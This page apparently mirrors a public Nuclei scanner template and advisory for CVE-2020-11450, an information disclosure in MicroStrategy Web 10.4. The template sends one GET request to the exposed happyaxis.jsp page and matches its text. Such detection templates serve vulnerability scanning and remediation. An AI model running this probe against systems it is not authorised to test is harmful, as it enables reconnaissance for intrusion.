CVE-2020-11450: MicroStrategy Web 10.4 - Information Disclosure

2025-08-01 MicroStrategy Web 10.4 PoC Public

Description

MicroStrategy Web 10.4 is susceptible to information disclosure. The JVM configuration, CPU architecture, installation folder, and other information are exposed through /MicroStrategyWS/happyaxis.jsp. An attacker can use this vulnerability to learn more about the application environment and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2020-11450

info:
  name: MicroStrategy Web 10.4 - Information Disclosure
  author: tess
  severity: high
  description: |
    MicroStrategy Web 10.4 is susceptible to information disclosure. The JVM configuration, CPU architecture, installation folder, and other information are exposed through /MicroStrategyWS/happyaxis.jsp. An attacker can use this vulnerability to learn more about the application environment and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information.
  remediation: Mitigated in all versions 11.0 and higher.
  reference:
    - http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11450
    - https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case/
    - https://nvd.nist.gov/vuln/detail/cve-2020-11450
    - http://seclists.org/fulldisclosure/2020/Apr/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11450
    epss-score: 0.17841
    epss-percentile: 0.97016
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve2020,cve,packetstorm,seclists,microstrategy,exposure,jvm,config,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/MicroStrategyWS/happyaxis.jsp'

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Axis2 Happiness Page'
          - 'Examining webapp configuration'
          - 'Essential Components'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220047e51a47c1bac13c5e7ea7829a5a14b5fd975fed56cd03bae28e0dea7e1e67502202a1de5a4b3c7f057fdab8976db3ee5367a7f9fd6350d8617443b4bad8e5f5d61:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11450.yaml

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